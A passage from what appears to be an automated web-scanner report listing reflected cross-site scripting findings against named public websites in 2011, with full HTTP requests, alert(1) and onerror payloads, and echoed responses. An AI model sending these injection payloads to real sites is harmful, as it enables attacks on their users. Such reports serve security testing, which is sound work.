<scr'+'ipt language="JavaScript" src="http://n4403ad.doubleclick.net/adj/gn.cr.craveonline.com/favicon.ico88a67'-alert(1)-'dd8390ff089;sect=favicon.ico88a67'-alert(1)-'dd8390ff089;ct=favicon.ico88a67'-alert(1)-'dd8390ff089;ci=;sz=1000x1000;tile='+(gnm_tile++)+';ord=' + gnm_ord + '?">
...[SNIP]...

6.33. http://www.csmonitor.com/favicon.ico [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.csmonitor.com
Path:	/favicon.ico

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload d6502"-alert(1)-"527e231a44 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /d6502"-alert(1)-"527e231a44 HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3
Host: www.csmonitor.com
Accept: */*
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.12 (Ubuntu)
X-Powered-By: eZ Publish
Pragma: no-cache
Last-Modified: Sat, 02 Apr 2011 13:27:22 GMT
Served-by:
Content-Language: en-US
Status: 404 Not Found
Content-Type: text/html; charset=utf-8
Cache-Control: public, must-revalidate, max-age=86384
Expires: Sun, 03 Apr 2011 13:27:07 GMT
Date: Sat, 02 Apr 2011 13:27:23 GMT
Content-Length: 21591
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>



<tit
...[SNIP]...
<script language="JavaScript" type="text/javascript">
                           s.pageName="/d6502"-alert(1)-"527e231a44";

           var s_code=s.t();if(s_code)document.write(s_code);
       </script>
...[SNIP]...

6.34. http://www.docstoc.com/favicon.ico [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.docstoc.com
Path:	/favicon.ico

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 9d5f5'-alert(1)-'7263aba8059 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /favicon.ico9d5f5'-alert(1)-'7263aba8059 HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3
Host: www.docstoc.com
Accept: */*
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html; charset=utf-8
Set-Cookie: user_guid=1a45ceec-1c83-4750-a66d-bb53ea4fe27b; expires=Fri, 02-Apr-2021 13:31:59 GMT; path=/
Set-Cookie: first_time=1; domain=docstoc.com; path=/
Set-Cookie: session.docstoc.sourceinfo={"Source":"","Medium":"Direct","Term":"","Campaign":"","Content":""}; path=/
Set-Cookie: session.docstoc.seo={"Term":"","SEPage":"","SEType":""}; path=/
Set-Cookie: session.docstoc.source={"Refer":"","IP":"173.193.214.243","Country":"US","UA":"curl%2f7.21.0+(amd64-pc-win32)+libcurl%2f7.21.0+OpenSSL%2f0.9.8o+zlib%2f1.2.3"}; path=/
Set-Cookie: geoinfo.docstoc={"WorldRegionCode":1,"WorldRegionName":"United States","CountryCode":"US","CountryName":"United States","Region":"TX","City":"Dallas","Latitude":32.782501220703125,"Longitude":-96.8207015991211}; path=/
Set-Cookie: session.docstoc=d10a866a-2296-4f61-9582-da96250ad728; path=/
Set-Cookie: memguid.docstoc=811a77f3-6db6-4f0f-9360-a701e8733536; expires=Fri, 31-Dec-9999 23:59:59 GMT; path=/
Set-Cookie: fingerprint.docstoc={"FingerprintId":"","DMA":"","City":"","Region":"","Country":"","Fonts":"","Plugins":"","UserAgent":"","IpAddress":"","Resolution":""}; expires=Fri, 31-Dec-9999 23:59:59 GMT; path=/
Set-Cookie: pages_visited=1; path=/
Set-Cookie: general=showTopIE9=1,1,4/3/2011 6:31:59 AM; domain=docstoc.com; expires=Mon, 02-Apr-2012 13:31:59 GMT; path=/
Set-Cookie: cartItemCount=0; expires=Mon, 02-May-2011 13:31:59 GMT; path=/
serverID: www2
Date: Sat, 02 Apr 2011 13:31:58 GMT
Content-Length: 15433

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd" >

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:media="http://search.
...[SNIP]...
insertBefore(ga, s);
})();
var redirectUrl='/login/FacebookLogin.aspx?returnURL=http%3a%2f%2fwww.docstoc.com%2fPageNotFound%2fPageNotFound.aspx%3f404%3bhttp%3a%2f%2fwww.docstoc.com%3a80%2ffavicon.ico9d5f5'-alert(1)-'7263aba8059';
_qoptions={qacct:"p-07Zpl6-aPXQAI"};
</script>
...[SNIP]...

6.35. http://www.domaintools.com/favicon.ico [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.domaintools.com
Path:	/favicon.ico

Issue detail

The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload c8b31<a>cfeca55b272 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /c8b31<a>cfeca55b272 HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3
Host: www.domaintools.com
Accept: */*
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 404 Not Found
Server: Apache
X-Powered-By: PHP/5.2.6
Expires: Sat, 02 Apr 2011 14:45:19 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Date: Sat, 02 Apr 2011 13:45:19 GMT
Content-Length: 11939
Connection: close
Set-Cookie: dtsession=0c96c752b97d8eeab552cf2acdcba16d; expires=Tue, 30 Mar 2021 13:45:19 GMT; path=/; domain=.domaintools.com

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd"><html>
<head>
<title>DomainTools: Page Not Found</title>
<link rel="alternate" type="application/
...[SNIP]...
<a>cfeca55b272">Whois record for "c8b31<a>cfeca55b272"</a>
...[SNIP]...

6.36. http://www.driverside.com/favicon.ico [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.driverside.com
Path:	/favicon.ico

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 27027"-alert(1)-"893baf0fdc8 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /favicon.ico27027"-alert(1)-"893baf0fdc8 HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3
Host: www.driverside.com
Accept: */*
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 404 Not Found
Date: Sat, 02 Apr 2011 13:39:11 GMT
Server: Apache/2.2.14 (EL)
X-Powered-By: PHP/5.2.11
P3P: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Set-Cookie: SelectedCarID=deleted; expires=Fri, 02-Apr-2010 13:39:11 GMT; path=/
Set-Cookie: SelectedTrimID=deleted; expires=Fri, 02-Apr-2010 13:39:11 GMT; path=/
Set-Cookie: SelectedStyleID=deleted; expires=Fri, 02-Apr-2010 13:39:11 GMT; path=/
Set-Cookie: TplType=2; expires=Mon, 09-May-2011 01:39:12 GMT; path=/
Set-Cookie: Ds_client=ed826f9ef3019c3a25abefb6fd651b0d; expires=Tue, 30-Mar-2021 13:39:12 GMT; path=/
Set-Cookie: UUID=DS-7fa5332a-91f8-76bb-ffa3-9ec63b1c8a2c; expires=Tue, 30-Mar-2021 13:39:12 GMT; path=/
Set-Cookie: business_id=deleted; expires=Fri, 02-Apr-2010 13:39:11 GMT; path=/
Set-Cookie: partner_id=deleted; expires=Fri, 02-Apr-2010 13:39:11 GMT; path=/
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 15280

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Conten
...[SNIP]...
<!--

/* Copyright 1997-2004 Omniture, Inc. */
s.prop1="DS";
s.prop2="Sat";
s.prop3="06";
s.prop7="/favicon.ico27027"-alert(1)-"893baf0fdc8";
s.prop15="unregistered";
s.prop16="logged out";
s.prop17="non-member";
s.eVar1="DS";
s.eVar12="Sat";
s.eVar13="06";
s.eVar15="unregistered";
s.eVar16="logged out";
s.eVar17="non-member";
s.zip=""
/*
...[SNIP]...

6.37. http://www.education.com/favicon.ico [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.education.com
Path:	/favicon.ico

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload d2a97"%3b06af93cafcd was submitted in the REST URL parameter 1. This input was echoed as d2a97";06af93cafcd in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /favicon.icod2a97"%3b06af93cafcd HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3
Host: www.education.com
Accept: */*
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 404 Not Found
Server: nginx
Date: Sat, 02 Apr 2011 13:35:10 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
X-Powered-By: PHP/5.3.5
Set-Cookie: e=fhkbhen0kd9vs4jlqhf6ju3g10; expires=Sat, 02-Apr-2011 23:35:10 GMT; path=/; domain=www.education.com
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: i=0; expires=Tue, 14-Jun-2011 13:35:10 GMT; path=/
Content-Length: 140381

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >
<head>
<meta http-equiv="co
...[SNIP]...
<!--if(!s.pageName) s.pageName="Education.com | An Education & Child Development Site for Parents | Parenting & Educational Resource";
s.pageType="errorPage";
if(!s.channel) s.channel="favicon.icod2a97";06af93cafcd";
s.prop5=Cookie.get('registered');
s.prop6=0;
s.prop7='organic';
s.eVar15='organic';
s.prop13='Home Page';
s.prop17='none';
s.campaign='';
s.prop18='web00';
if(Cookie.read&&Cookie.read('sevent', {pat
...[SNIP]...

6.38. http://www.egotastic.com/favicon.ico [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.egotastic.com
Path:	/favicon.ico

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 15911"><a>dcba971d871 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /favicon.ico15911"><a>dcba971d871 HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3
Host: www.egotastic.com
Accept: */*
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 404 Not Found
Date: Sat, 02 Apr 2011 13:44:00 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 126517

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Cont
...[SNIP]...
<input type="hidden" name="GBORGVHR2WGPMZ2HR2WGPMZ0173HR2WGPMZ193HR2WGPMZ214HR2WGPMZ243HTTPHR2WGPMZHR2WGPMZHR2WGPMZWWWHR2WGPMZEGOTASTICHR2WGPMZCOMHR2WGPMZFAVICONHR2WGPMZICO15911"><A>DCBA971D871EDTHR2WGPMZ0400HR2WGPMZ14400" id="GBORGVHR2WGPMZ2HR2WGPMZ0173HR2WGPMZ193HR2WGPMZ214HR2WGPMZ243HTTPHR2WGPMZHR2WGPMZHR2WGPMZWWWHR2WGPMZEGOTASTICHR2WGPMZCOMHR2WGPMZFAVICONHR2WGPMZICO15911">
...[SNIP]...

6.39. http://www.egotastic.com/favicon.ico [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.egotastic.com
Path:	/favicon.ico

Issue detail

The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 4bbdc<script>alert(1)</script>7e8efe51f47 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /favicon.ico4bbdc<script>alert(1)</script>7e8efe51f47 HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3
Host: www.egotastic.com
Accept: */*
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 404 Not Found
Date: Sat, 02 Apr 2011 13:44:02 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 126726

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Cont
...[SNIP]...
<p>The page you are looking for: "http://www.egotastic.com/favicon.ico4bbdc<script>alert(1)</script>7e8efe51f47" seems to be missing.</p>
...[SNIP]...

6.40. http://www.elyrics.net/favicon.ico [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.elyrics.net
Path:	/favicon.ico

Issue detail

The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 7526b<script>alert(1)</script>c49fd957cea was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /favicon.ico7526b<script>alert(1)</script>c49fd957cea HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3
Host: www.elyrics.net
Accept: */*
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 404 Not Found
Date: Sat, 02 Apr 2011 13:36:44 GMT
Server: Apache/2.2.16 (Unix) mod_ssl/2.2.16 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 PHP/5.2.14
X-Powered-By: PHP/5.2.14
Content-Length: 1173
Content-Type: text/html

<html>
<head><title>Page not Found on elyrics.net</title>
<META NAME="ROBOTS" CONTENT="NOINDEX, NOFOLLOW">
</head>
<body><h1>Error 404 Page not Found</h1>
<a href="/"><img src="http://a527.ac-images.
...[SNIP]...
<font color=red>/favicon.ico7526b<script>alert(1)</script>c49fd957cea</font>
...[SNIP]...

6.41. http://www.elyricsworld.com/favicon.ico [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.elyricsworld.com
Path:	/favicon.ico

Issue detail

The value of REST URL parameter 1 is copied into the HTML document as text between TITLE tags. The payload 66975</title><script>alert(1)</script>b548febdb4d was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /favicon.ico66975</title><script>alert(1)</script>b548febdb4d HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3
Host: www.elyricsworld.com
Accept: */*
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 404 Not Found
Date: Sat, 02 Apr 2011 20:22:08 GMT
Server: Apache/2.2.17 (Unix) PHP/5.2.14
X-Powered-By: PHP/5.2.14
Content-Length: 1419
Content-Type: text/html

<html>
   <head>
       <title>/favicon.ico66975</title><script>alert(1)</script>b548febdb4d not found on elyricsworld.com</title>
       <meta name="robots" content="noindex">
<style type="text/css">
body
{
...[SNIP]...

6.42. http://www.elyricsworld.com/favicon.ico [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.elyricsworld.com
Path:	/favicon.ico

Issue detail

The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 4097f<script>alert(1)</script>ca01e159581 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /favicon.ico4097f<script>alert(1)</script>ca01e159581 HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3
Host: www.elyricsworld.com
Accept: */*
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 404 Not Found
Date: Sat, 02 Apr 2011 20:22:08 GMT
Server: Apache/2.2.17 (Unix) PHP/5.2.14
X-Powered-By: PHP/5.2.14
Content-Length: 1403
Content-Type: text/html

<html>
   <head>
       <title>/favicon.ico4097f<script>alert(1)</script>ca01e159581 not found on elyricsworld.com</title>
       <meta name="robots" content="noindex">
<style type="text/css">
body
{
   fo
...[SNIP]...
<h1>/favicon.ico4097f<script>alert(1)</script>ca01e159581 not found on elyricsworld.com</h1>
...[SNIP]...

6.43. http://www.elyricsworld.com/favicon.ico [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.elyricsworld.com
Path:	/favicon.ico

Issue detail

The name of an arbitrarily supplied request parameter is copied into the HTML document as text between TITLE tags. The payload 4ae7d</title><script>alert(1)</script>1082cba203e was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /favicon.ico?4ae7d</title><script>alert(1)</script>1082cba203e=1 HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3
Host: www.elyricsworld.com
Accept: */*
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 404 Not Found
Date: Sat, 02 Apr 2011 20:22:04 GMT
Server: Apache/2.2.17 (Unix) PHP/5.2.14
X-Powered-By: PHP/5.2.14
Content-Length: 1425
Content-Type: text/html

<html>
   <head>
       <title>/favicon.ico?4ae7d</title><script>alert(1)</script>1082cba203e=1 not found on elyricsworld.com</title>
       <meta name="robots" content="noindex">
<style type="text/css">
body

...[SNIP]...

6.44. http://www.elyricsworld.com/favicon.ico [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.elyricsworld.com
Path:	/favicon.ico

Issue detail

The name of an arbitrarily supplied request parameter is copied into the HTML document as plain text between tags. The payload 48892<script>alert(1)</script>4686b36e033 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /favicon.ico?48892<script>alert(1)</script>4686b36e033=1 HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3
Host: www.elyricsworld.com
Accept: */*
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 404 Not Found
Date: Sat, 02 Apr 2011 20:22:03 GMT
Server: Apache/2.2.17 (Unix) PHP/5.2.14
X-Powered-By: PHP/5.2.14
Content-Length: 1409
Content-Type: text/html

<html>
   <head>
       <title>/favicon.ico?48892<script>alert(1)</script>4686b36e033=1 not found on elyricsworld.com</title>
       <meta name="robots" content="noindex">
<style type="text/css">
body
{

...[SNIP]...
<h1>/favicon.ico?48892<script>alert(1)</script>4686b36e033=1 not found on elyricsworld.com</h1>
...[SNIP]...

6.45. http://www.everydayhealth.com/favicon.ico [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.everydayhealth.com
Path:	/favicon.ico

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload cc61f'%3bd646a62950f was submitted in the REST URL parameter 1. This input was echoed as cc61f';d646a62950f in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /favicon.icocc61f'%3bd646a62950f HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3
Host: www.everydayhealth.com
Accept: */*
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 404 File Not Found
Date: Sat, 02 Apr 2011 13:27:14 GMT
Server: Microsoft-IIS/6.0
ServerID: : USNJWWEB07
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: .ASPXANONYMOUS=Acwny4THb9g0MzViZGNkYi0xYTc0LTQxYTEtOGNlYy1jMjZhMDg0NDQ3NGM1; expires=Sat, 11-Jun-2011 00:07:14 GMT; path=/
Set-Cookie: ASP.NET_SessionId=kijeui555z3zjjmaqxna4s55; path=/; HttpOnly
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 16304

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<h
...[SNIP]...
<script> COMSCORE.beacon({ c1: 2, c2: '6035818', c3: '', c4: 'www.everydayhealth.com/favicon.icocc61f';d646a62950f', c5: '', c6: '', c15: ''});</script>
...[SNIP]...

6.46. http://www.gamespot.com/favicon.ico [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.gamespot.com
Path:	/favicon.ico

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 95cd8"><script>alert(1)</script>0043b9c4893 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /favicon.ico95cd8"><script>alert(1)</script>0043b9c4893 HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3
Host: www.gamespot.com
Accept: */*
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 404 Not Found
Date: Sat, 02 Apr 2011 13:27:07 GMT
Server: Apache
Accept-Ranges: bytes
X-Powered-By: PHP/5.2.5
Set-Cookie: geolocn=MTczLjE5My4yMTQuMjQzOjg0MA%3D%3D; expires=Mon, 02-May-2011 13:27:07 GMT; path=/; domain=.gamespot.com
Set-Cookie: ctk=NGQ5NzI0MmJhZGMxZDZmM2I2YzQ0ZDQ4NzY1ZQ%3D%3D; expires=Thu, 29-Sep-2011 13:27:07 GMT; path=/; domain=.gamespot.com
Set-Cookie: gspot_side_040211=1; expires=Tue, 05-Apr-2011 13:27:07 GMT; path=/; domain=.gamespot.com
Set-Cookie: hello_from_gs=1; path=/; domain=.gamespot.com
Content-Type: text/html; charset=ISO-8859-1
Content-Length: 34823

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com
...[SNIP]...
<link rel="canonical" href="http://www.gamespot.com/favicon.ico95cd8"><script>alert(1)</script>0043b9c4893" />
...[SNIP]...

6.47. http://www.gamestop.com/favicon.ico [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.gamestop.com
Path:	/favicon.ico

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 599e8'a%3d'b'629f0608bc6 was submitted in the REST URL parameter 1. This input was echoed as 599e8'a='b'629f0608bc6 in the application's response.

This behaviour demonstrates that it is possible to inject new attributes into an existing HTML tag. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /favicon.ico599e8'a%3d'b'629f0608bc6 HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3
Host: www.gamestop.com
Accept: */*
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 404 Not Found
X-Cnection: close
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
COMMERCE-SERVER-SOFTWARE: Microsoft Commerce Server, Enterprise Edition
Cache-Control: private
Content-Type: text/html; charset=utf-8
Date: Sat, 02 Apr 2011 13:33:25 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: LocaleCookie=en-us; domain=gamestop.com; expires=Fri, 02-Apr-2021 13:33:25 GMT; path=/
Set-Cookie: CookieState=V=1; path=/
Set-Cookie: LandingUrl=http://www.gamestop.com/badurl.aspx?404;http://www.gamestop.com/common/gui/favicon.ico599e8'a='b'629f0608bc6; path=/
Set-Cookie: CampaignHistory=; path=/
Set-Cookie: BIGipServerwww.gamestop.com-80=600446124.20480.0000; path=/
Content-Length: 181788

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" >

<script language='jav
...[SNIP]...
<a href='/Profiles/Login.aspx?ReturnUrl=/badurl.aspx?404;http://www.gamestop.com/common/gui/favicon.ico599e8'a='b'629f0608bc6' id='header_auth_actions' rel='nofollow'>
...[SNIP]...

6.48. http://www.gather.com/favicon.ico [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.gather.com
Path:	/favicon.ico

Issue detail

The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 12711<img%20src%3da%20onerror%3dalert(1)>929de4ce53b was submitted in the REST URL parameter 1. This input was echoed as 12711<img src=a onerror=alert(1)>929de4ce53b in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /12711<img%20src%3da%20onerror%3dalert(1)>929de4ce53b HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3
Host: www.gather.com
Accept: */*
Proxy-Connection: Keep-Alive

Response (redirected)

HTTP/1.1 200 OK
Date: Sat, 02 Apr 2011 13:34:22 GMT
Server: Apache/2.2.3 (Unix) mod_jk/1.2.28
Set-Cookie: JSESSIONID=4A24C55EA8AA587CCF8856C6C9BFB24A; Domain=.gather.com; Path=/
Set-Cookie: vis=RyOcPuDxMFUGP3B0WVrMrdgk+Fv7TLiAW3OByYniiiDpLR+P/Pm0tG1Nows/zVLDfFPcwb2RlnPBjDhfuWVzAqWnKeeDBF1/gMVhlwJ1RSc=; Domain=gather.com; Expires=Fri, 28-Mar-2031 13:34:22 GMT; Path=/
P3P: policyref="http://ads.gather.com/w3c/p3p.xml", CP="PSAa PSDa ADMa DEVa OUR IND DSP NOI COR UNI NAV CURa COM INT"
Set-Cookie: vis=KW1zZbLcDLkbttCjTEPka5YrQnepZ8pHskgphI0gOdszkdWMqudZ95Jb7/76/tOlkeRmmJL7fpmjoICIH6sXwwAd09L9KZQWlUI0WxvLZi3sfdXOAhI/xZQCjpJNlT+R; Domain=gather.com; Expires=Fri, 28-Mar-2031 13:34:22 GMT; Path=/
P3P: policyref="http://ads.gather.com/w3c/p3p.xml", CP="PSAa PSDa ADMa DEVa OUR IND DSP NOI COR UNI NAV CURa COM INT"
Content-Length: 17544
Content-Type: text/html;charset=UTF-8

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">

...[SNIP]...
<em>12711<img src=a onerror=alert(1)>929de4ce53b</em>
...[SNIP]...

6.49. http://www.gather.com/favicon.ico [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.gather.com
Path:	/favicon.ico

Issue detail

